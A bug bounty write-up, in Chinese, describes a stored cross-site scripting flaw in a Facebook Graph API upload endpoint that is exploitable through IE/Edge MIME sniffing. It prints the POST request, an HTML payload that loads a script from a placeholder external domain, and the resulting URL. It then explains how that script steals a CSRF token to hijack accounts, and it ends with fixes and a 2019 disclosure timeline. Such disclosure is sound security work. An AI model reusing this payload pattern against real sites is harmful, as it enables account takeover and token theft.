漏洞情況
該漏洞只在IE和Edge瀏覽器中有效,漏洞原因在于graph.facebook.com
中的某些API端點(diǎn),在處理HTML代碼響應(yīng)時(shí)未實(shí)施完善安全的轉(zhuǎn)義措施。響應(yīng)消息存在于JSON格式中,HTML代碼被當(dāng)做其中一個(gè)字段的值也包含在內(nèi),而且響應(yīng)消息不附帶Content-Type 或 X-Content-Type-Options頭,這樣我就能有機(jī)會(huì)在IE/Edge中構(gòu)造代碼執(zhí)行了。
(這兩類瀏覽器會(huì)掃描整個(gè)頁(yè)面確定MIME文件類型,而其它瀏覽器只檢查前幾個(gè)字符)。
漏洞復(fù)現(xiàn)
1、首先,我們發(fā)送以下上傳方式的POST請(qǐng)求:
POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
其中的ACCESS_TOKEN
是由Facebook for Android的第一方應(yīng)用生成的有效用戶訪問令牌,PAYLOAD則是我們想插入的HTML代碼,用于后續(xù)引誘受害者在瀏覽器中執(zhí)行。當(dāng)提交請(qǐng)求后,遠(yuǎn)程服務(wù)端會(huì)返回一個(gè)類似如下的值,其中包含一個(gè)后續(xù)會(huì)用到的會(huì)話ID(具體請(qǐng)參考Facebook官方說明):
{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}
經(jīng)測(cè)試發(fā)現(xiàn),其響應(yīng)消息中沒有內(nèi)容安全策略(CSP)限制,所以,我想到了能不能用一個(gè)包含外部鏈接的js文件來插入HTML代碼,例如:
<html><body><script src=//DOMAIN.com/script.js ></script></body></html>
2、這里的上傳請(qǐng)求被Facebook后端做了Base64編碼處理,返回顯示如下,其中包含了我們特意植入的Payload:
upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48 Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
所以,用該編碼串之后就會(huì)有如下請(qǐng)求,用它可以向Facebook發(fā)起POST請(qǐng)求:
https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s ig=ARaCDqLfwoeI8V3s
3、由此,利用以上請(qǐng)求串,我向其中加入我在第1步中生成的有效access_token,構(gòu)造了一個(gè)HTML網(wǎng)頁(yè)放到了我的網(wǎng)站中:
該頁(yè)面包含了一個(gè)提交樣式,受害者訪問之后的響應(yīng)消息如下:
{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}
重要的是,https://DOMAIN.com/script.js
中的腳本文件將幫助我竊取受害者的“fb_dtsg” CSRF token,并且可向https://www.facebook.com/api/graphql/
發(fā)送一個(gè)添加手機(jī)號(hào)或郵箱地址的綁定請(qǐng)求,實(shí)現(xiàn)間接的受害者賬戶劫持。
漏洞修復(fù)
1、在file_type參數(shù)中加入對(duì)HTML代碼處理的安全轉(zhuǎn)義措施; 2、給每個(gè)響應(yīng)中加入“Content-type: application/json” 頭避免進(jìn)一步的攻擊。 漏洞上報(bào)及處理進(jìn)程 2019.10.10 漏洞初報(bào) 2019.10.10 Facebook確認(rèn) 2019.10.11 Facebook修復(fù) 2019.10.24 Facebook獎(jiǎng)勵(lì)5000$
相關(guān)文章教程推薦:網(wǎng)站安全教程